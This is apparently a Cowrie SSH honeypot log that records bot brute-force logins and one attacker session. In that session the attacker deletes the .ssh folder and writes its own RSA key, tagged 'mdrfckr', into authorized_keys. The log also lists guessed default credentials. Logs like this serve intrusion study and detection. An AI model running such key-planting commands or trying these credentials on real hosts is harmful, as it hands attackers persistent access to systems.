{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:47.798332Z","src_ip":"165.154.5.148","session":"94d4bcd996d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:48.018399Z","src_ip":"165.154.5.148","session":"94d4bcd996d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000","message":"login attempt [root/00000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:48.927842Z","src_ip":"165.154.5.148","session":"94d4bcd996d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:05:50.150445Z","src_ip":"165.154.5.148","session":"94d4bcd996d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59840,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6b696298f3","protocol":"ssh","message":"New connection: 159.203.92.129:59840 (159.203.135.109:22) [session: db6b696298f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:01.733794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:01.739486Z","src_ip":"159.203.92.129","session":"db6b696298f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:01.750412Z","src_ip":"159.203.92.129","session":"db6b696298f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456qwer!","message":"login attempt [admin/123456qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:01.842310Z","src_ip":"159.203.92.129","session":"db6b696298f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:02.852005Z","src_ip":"159.203.92.129","session":"db6b696298f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33290,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d102e2df071","protocol":"ssh","message":"New connection: 68.183.236.1:33290 (10.17.0.5:22) [session: 5d102e2df071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:38.211344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:38.216078Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:38.475571Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"webadmin","message":"login attempt [admin/webadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:39.519975Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:40.065266Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:40.068713Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:40.072698Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:40.328930Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:40.871469Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:40.874900Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:41.132227Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:41.135985Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33300,"dst_ip":"10.17.0.5","dst_port":22,"session":"285a5706d69f","protocol":"ssh","message":"New connection: 68.183.236.1:33300 (10.17.0.5:22) [session: 285a5706d69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:41.356821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:41.361824Z","src_ip":"68.183.236.1","session":"285a5706d69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:41.598628Z","src_ip":"68.183.236.1","session":"285a5706d69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:42.582607Z","src_ip":"68.183.236.1","session":"285a5706d69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":51646,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba8703acaefe","protocol":"ssh","message":"New connection: 165.154.5.148:51646 (10.17.0.5:22) [session: ba8703acaefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:42.605988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:42.610727Z","src_ip":"165.154.5.148","session":"ba8703acaefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:42.835734Z","src_ip":"165.154.5.148","session":"ba8703acaefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234","message":"login attempt [user3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:43.757983Z","src_ip":"165.154.5.148","session":"ba8703acaefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:43.824868Z","src_ip":"68.183.236.1","session":"285a5706d69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":44696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33abf640fd3","protocol":"ssh","message":"New connection: 68.183.236.1:44696 (10.17.0.5:22) [session: d33abf640fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:44.064870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:44.070180Z","src_ip":"68.183.236.1","session":"d33abf640fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:44.316059Z","src_ip":"68.183.236.1","session":"d33abf640fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:44.984671Z","src_ip":"165.154.5.148","session":"ba8703acaefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:45.325999Z","src_ip":"68.183.236.1","session":"d33abf640fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47954,"dst_ip":"159.203.135.109","dst_port":22,"session":"32377dbfcdc2","protocol":"ssh","message":"New connection: 159.203.92.129:47954 (159.203.135.109:22) [session: 32377dbfcdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:45.599436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:45.604409Z","src_ip":"159.203.92.129","session":"32377dbfcdc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:45.611405Z","src_ip":"159.203.92.129","session":"32377dbfcdc2","protocol":"ssh"}
